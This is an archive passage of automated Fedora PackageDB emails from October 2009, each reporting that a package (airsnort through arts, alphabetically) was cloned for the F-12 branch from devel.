From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:15 +0000
Subject: [pkgdb] airsnort F-12 cloned from devel
Message-ID: <20091003160715.446DE10F931@bastion2.fedora.phx.redhat.com>

toshio cloned airsnort F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/airsnort



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:23 +0000
Subject: [pkgdb] alacarte F-12 cloned from devel
Message-ID: <20091003160723.E540A10F932@bastion2.fedora.phx.redhat.com>

toshio cloned alacarte F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alacarte



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:31 +0000
Subject: [pkgdb] aldo F-12 cloned from devel
Message-ID: <20091003160731.C0A4A10F9C7@bastion2.fedora.phx.redhat.com>

toshio cloned aldo F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aldo



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:36 +0000
Subject: [pkgdb] ale F-12 cloned from devel
Message-ID: <20091003160736.3017E10F938@bastion2.fedora.phx.redhat.com>

toshio cloned ale F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ale



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:44 +0000
Subject: [pkgdb] alexandria F-12 cloned from devel
Message-ID: <20091003160745.0498510F93F@bastion2.fedora.phx.redhat.com>

toshio cloned alexandria F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alexandria



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:52 +0000
Subject: [pkgdb] alienblaster F-12 cloned from devel
Message-ID: <20091003160752.BE8E410F8FC@bastion2.fedora.phx.redhat.com>

toshio cloned alienblaster F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alienblaster



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:55 +0000
Subject: [pkgdb] alleggl F-12 cloned from devel
Message-ID: <20091003160755.922DC10F99E@bastion2.fedora.phx.redhat.com>

toshio cloned alleggl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alleggl



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:58 +0000
Subject: [pkgdb] allegro F-12 cloned from devel
Message-ID: <20091003160758.BD5CF10F945@bastion2.fedora.phx.redhat.com>

toshio cloned allegro F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/allegro



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:00 +0000
Subject: [pkgdb] alleyoop F-12 cloned from devel
Message-ID: <20091003160800.B6B5210F90B@bastion2.fedora.phx.redhat.com>

toshio cloned alleyoop F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alleyoop



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:02 +0000
Subject: [pkgdb] allgeyer-fonts F-12 cloned from devel
Message-ID: <20091003160802.3C17110F9CD@bastion2.fedora.phx.redhat.com>

toshio cloned allgeyer-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/allgeyer-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:06 +0000
Subject: [pkgdb] alltray F-12 cloned from devel
Message-ID: <20091003160806.B542010F9CE@bastion2.fedora.phx.redhat.com>

toshio cloned alltray F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alltray



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:09 +0000
Subject: [pkgdb] almanah F-12 cloned from devel
Message-ID: <20091003160809.7693D10F949@bastion2.fedora.phx.redhat.com>

toshio cloned almanah F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:10 +0000
Subject: [pkgdb] alphabet-soup F-12 cloned from devel
Message-ID: <20091003160810.BB89E10F94D@bastion2.fedora.phx.redhat.com>

toshio cloned alphabet-soup F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alphabet-soup



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:15 +0000
Subject: [pkgdb] alpine F-12 cloned from devel
Message-ID: <20091003160815.943A210F94B@bastion2.fedora.phx.redhat.com>

toshio cloned alpine F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alpine



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:16 +0000
Subject: [pkgdb] alsa-firmware F-12 cloned from devel
Message-ID: <20091003160817.1360310F952@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-firmware F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-firmware



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:19 +0000
Subject: [pkgdb] alsa-lib F-12 cloned from devel
Message-ID: <20091003160819.8E10E10F953@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-lib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-lib



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:29 +0000
Subject: [pkgdb] alsa-plugins F-12 cloned from devel
Message-ID: <20091003160829.1DE3F10F956@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-plugins F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-plugins



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:38 +0000
Subject: [pkgdb] alsa-utils F-12 cloned from devel
Message-ID: <20091003160838.15CC310F95B@bastion2.fedora.phx.redhat.com>

toshio cloned alsa-utils F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsa-utils



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:41 +0000
Subject: [pkgdb] alt-ergo F-12 cloned from devel
Message-ID: <20091003160841.66B3A10F95F@bastion2.fedora.phx.redhat.com>

toshio cloned alt-ergo F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alt-ergo



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:45 +0000
Subject: [pkgdb] am-utils F-12 cloned from devel
Message-ID: <20091003160845.2FAB010F9A5@bastion2.fedora.phx.redhat.com>

toshio cloned am-utils F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/am-utils



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:52 +0000
Subject: [pkgdb] amoebax F-12 cloned from devel
Message-ID: <20091003160852.2F85510F965@bastion2.fedora.phx.redhat.com>

toshio cloned amoebax F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amoebax



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:54 +0000
Subject: [pkgdb] amora F-12 cloned from devel
Message-ID: <20091003160854.3BFFC10F907@bastion2.fedora.phx.redhat.com>

toshio cloned amora F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amora



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:59 +0000
Subject: [pkgdb] amtterm F-12 cloned from devel
Message-ID: <20091003160859.98E5210F912@bastion2.fedora.phx.redhat.com>

toshio cloned amtterm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amtterm



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:01 +0000
Subject: [pkgdb] amtu F-12 cloned from devel
Message-ID: <20091003160901.A858A10F9D6@bastion2.fedora.phx.redhat.com>

toshio cloned amtu F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amtu



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:05 +0000
Subject: [pkgdb] anaconda F-12 cloned from devel
Message-ID: <20091003160905.A15AE10F913@bastion2.fedora.phx.redhat.com>

toshio cloned anaconda F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:12 +0000
Subject: [pkgdb] anerley F-12 cloned from devel
Message-ID: <20091003160913.03B2410F9DB@bastion2.fedora.phx.redhat.com>

toshio cloned anerley F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anerley



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:15 +0000
Subject: [pkgdb] angrydd F-12 cloned from devel
Message-ID: <20091003160915.255FF10F9A8@bastion2.fedora.phx.redhat.com>

toshio cloned angrydd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/angrydd



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:18 +0000
Subject: [pkgdb] anjal F-12 cloned from devel
Message-ID: <20091003160918.9543A10F9AA@bastion2.fedora.phx.redhat.com>

toshio cloned anjal F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anjal



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:20 +0000
Subject: [pkgdb] anjuta F-12 cloned from devel
Message-ID: <20091003160920.98B3210F9E1@bastion2.fedora.phx.redhat.com>

toshio cloned anjuta F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anjuta



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:24 +0000
Subject: [pkgdb] ann F-12 cloned from devel
Message-ID: <20091003160924.521CD10F9E5@bastion2.fedora.phx.redhat.com>

toshio cloned ann F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ann



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:28 +0000
Subject: [pkgdb] ant-contrib F-12 cloned from devel
Message-ID: <20091003160928.E809910F9E6@bastion2.fedora.phx.redhat.com>

toshio cloned ant-contrib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ant-contrib



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:30 +0000
Subject: [pkgdb] anthy F-12 cloned from devel
Message-ID: <20091003160930.57D8410F9ED@bastion2.fedora.phx.redhat.com>

toshio cloned anthy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anthy



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:32 +0000
Subject: [pkgdb] antiword F-12 cloned from devel
Message-ID: <20091003160932.9AE2410F9B1@bastion2.fedora.phx.redhat.com>

toshio cloned antiword F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/antiword



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:34 +0000
Subject: [pkgdb] antlr F-12 cloned from devel
Message-ID: <20091003160934.A47C310F919@bastion2.fedora.phx.redhat.com>

toshio cloned antlr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/antlr



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:36 +0000
Subject: [pkgdb] antlr3 F-12 cloned from devel
Message-ID: <20091003160936.A1BB310F9E8@bastion2.fedora.phx.redhat.com>

toshio cloned antlr3 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/antlr3



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:37 +0000
Subject: [pkgdb] ants F-12 cloned from devel
Message-ID: <20091003160937.D50FB10F9B4@bastion2.fedora.phx.redhat.com>

toshio cloned ants F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ants



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:40 +0000
Subject: [pkgdb] anyremote F-12 cloned from devel
Message-ID: <20091003160940.4B50010F9EE@bastion2.fedora.phx.redhat.com>

toshio cloned anyremote F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anyremote



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:44 +0000
Subject: [pkgdb] anyterm F-12 cloned from devel
Message-ID: <20091003160944.6656B10F9EC@bastion2.fedora.phx.redhat.com>

toshio cloned anyterm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anyterm



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:46 +0000
Subject: [pkgdb] aoetools F-12 cloned from devel
Message-ID: <20091003160946.292D210F91C@bastion2.fedora.phx.redhat.com>

toshio cloned aoetools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aoetools



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:51 +0000
Subject: [pkgdb] apanov-edrip-fonts F-12 cloned from devel
Message-ID: <20091003160951.A8DAD10F9F1@bastion2.fedora.phx.redhat.com>

toshio cloned apanov-edrip-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apanov-edrip-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:53 +0000
Subject: [pkgdb] apanov-heuristica-fonts F-12 cloned from devel
Message-ID: <20091003160953.9BABE10F91F@bastion2.fedora.phx.redhat.com>

toshio cloned apanov-heuristica-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apanov-heuristica-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:55 +0000
Subject: [pkgdb] apbs F-12 cloned from devel
Message-ID: <20091003160955.37D8E10F979@bastion2.fedora.phx.redhat.com>

toshio cloned apbs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apbs



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:00 +0000
Subject: [pkgdb] apg F-12 cloned from devel
Message-ID: <20091003161000.0AB4B10F9B3@bastion2.fedora.phx.redhat.com>

toshio cloned apg F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apg



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:01 +0000
Subject: [pkgdb] aplus-fsf F-12 cloned from devel
Message-ID: <20091003161002.0374F10F9FC@bastion2.fedora.phx.redhat.com>

toshio cloned aplus-fsf F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aplus-fsf



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:09 +0000
Subject: [pkgdb] apmud F-12 cloned from devel
Message-ID: <20091003161010.4AD1110F97D@bastion2.fedora.phx.redhat.com>

toshio cloned apmud F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apmud



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:12 +0000
Subject: [pkgdb] appframework F-12 cloned from devel
Message-ID: <20091003161012.3311110F9B8@bastion2.fedora.phx.redhat.com>

toshio cloned appframework F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/appframework



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:14 +0000
Subject: [pkgdb] appliance-tools F-12 cloned from devel
Message-ID: <20091003161014.42A0B10F925@bastion2.fedora.phx.redhat.com>

toshio cloned appliance-tools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/appliance-tools



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:17 +0000
Subject: [pkgdb] apr F-12 cloned from devel
Message-ID: <20091003161017.2FA7C10F9BA@bastion2.fedora.phx.redhat.com>

toshio cloned apr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apr



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:19 +0000
Subject: [pkgdb] apr-api-docs F-12 cloned from devel
Message-ID: <20091003161019.51D3110F983@bastion2.fedora.phx.redhat.com>

toshio cloned apr-api-docs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apr-api-docs



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:23 +0000
Subject: [pkgdb] apricots F-12 cloned from devel
Message-ID: <20091003161023.2F2E210F982@bastion2.fedora.phx.redhat.com>

toshio cloned apricots F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apricots



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:27 +0000
Subject: [pkgdb] apt F-12 cloned from devel
Message-ID: <20091003161027.A0B8410F9BF@bastion2.fedora.phx.redhat.com>

toshio cloned apt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apt



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:33 +0000
Subject: [pkgdb] aqsis F-12 cloned from devel
Message-ID: <20091003161033.64A8110F988@bastion2.fedora.phx.redhat.com>

toshio cloned aqsis F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aqsis



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:36 +0000
Subject: [pkgdb] aqute-bndlib F-12 cloned from devel
Message-ID: <20091003161036.7241610FA0B@bastion2.fedora.phx.redhat.com>

toshio cloned aqute-bndlib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aqute-bndlib



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:38 +0000
Subject: [pkgdb] arc F-12 cloned from devel
Message-ID: <20091003161038.7628B10F92B@bastion2.fedora.phx.redhat.com>

toshio cloned arc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arc



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:40 +0000
Subject: [pkgdb] archimedes F-12 cloned from devel
Message-ID: <20091003161040.84F4510F92C@bastion2.fedora.phx.redhat.com>

toshio cloned archimedes F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/archimedes



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:42 +0000
Subject: [pkgdb] archivemail F-12 cloned from devel
Message-ID: <20091003161042.A833110F98B@bastion2.fedora.phx.redhat.com>

toshio cloned archivemail F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/archivemail



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:44 +0000
Subject: [pkgdb] archmage F-12 cloned from devel
Message-ID: <20091003161044.93A0A10FA0F@bastion2.fedora.phx.redhat.com>

toshio cloned archmage F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/archmage



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:46 +0000
Subject: [pkgdb] ardour F-12 cloned from devel
Message-ID: <20091003161046.932C510FA11@bastion2.fedora.phx.redhat.com>

toshio cloned ardour F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ardour



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:54 +0000
Subject: [pkgdb] ario F-12 cloned from devel
Message-ID: <20091003161054.7F7DA10FA14@bastion2.fedora.phx.redhat.com>

toshio cloned ario F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ario



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:56 +0000
Subject: [pkgdb] arj F-12 cloned from devel
Message-ID: <20091003161056.CA1DB10FA16@bastion2.fedora.phx.redhat.com>

toshio cloned arj F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arj



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:58 +0000
Subject: [pkgdb] arm-gp2x-linux-SDL F-12 cloned from devel
Message-ID: <20091003161058.B8D7210FA17@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-SDL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-SDL



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:00 +0000
Subject: [pkgdb] arm-gp2x-linux-binutils F-12 cloned from devel
Message-ID: <20091003161100.BCD0810F8B1@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-binutils F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-binutils



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:02 +0000
Subject: [pkgdb] arm-gp2x-linux-gcc F-12 cloned from devel
Message-ID: <20091003161102.0E7EC10FA19@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-gcc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-gcc



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:03 +0000
Subject: [pkgdb] arm-gp2x-linux-glibc F-12 cloned from devel
Message-ID: <20091003161103.ECDD210F991@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-glibc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-glibc



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:05 +0000
Subject: [pkgdb] arm-gp2x-linux-kernel-headers F-12 cloned from devel
Message-ID: <20091003161105.408B910FA1C@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-kernel-headers F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-kernel-headers



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:08 +0000
Subject: [pkgdb] arm4 F-12 cloned from devel
Message-ID: <20091003161108.954C710FA20@bastion2.fedora.phx.redhat.com>

toshio cloned arm4 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm4



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:13 +0000
Subject: [pkgdb] armstrong F-12 cloned from devel
Message-ID: <20091003161113.ECD1610FA25@bastion2.fedora.phx.redhat.com>

toshio cloned armstrong F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/armstrong



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:15 +0000
Subject: [pkgdb] arora F-12 cloned from devel
Message-ID: <20091003161115.BABAE10F936@bastion2.fedora.phx.redhat.com>

toshio cloned arora F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arora



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:17 +0000
Subject: [pkgdb] arp-scan F-12 cloned from devel
Message-ID: <20091003161117.B0CA910FA27@bastion2.fedora.phx.redhat.com>

toshio cloned arp-scan F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arp-scan



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:19 +0000
Subject: [pkgdb] arpack F-12 cloned from devel
Message-ID: <20091003161119.8D96610F8FB@bastion2.fedora.phx.redhat.com>

toshio cloned arpack F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arpack



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:21 +0000
Subject: [pkgdb] arptables_jf F-12 cloned from devel
Message-ID: <20091003161121.30F1D10FA2A@bastion2.fedora.phx.redhat.com>

toshio cloned arptables_jf F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arptables_jf



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:25 +0000
Subject: [pkgdb] arrows F-12 cloned from devel
Message-ID: <20091003161125.C336610FA2E@bastion2.fedora.phx.redhat.com>

toshio cloned arrows F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arrows



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:27 +0000
Subject: [pkgdb] arts F-12 cloned from devel
Message-ID: <20091003161127.6FC7110FA2F@bastion2.fedora.phx.redhat.com>

toshio cloned arts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arts



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:29 +0000
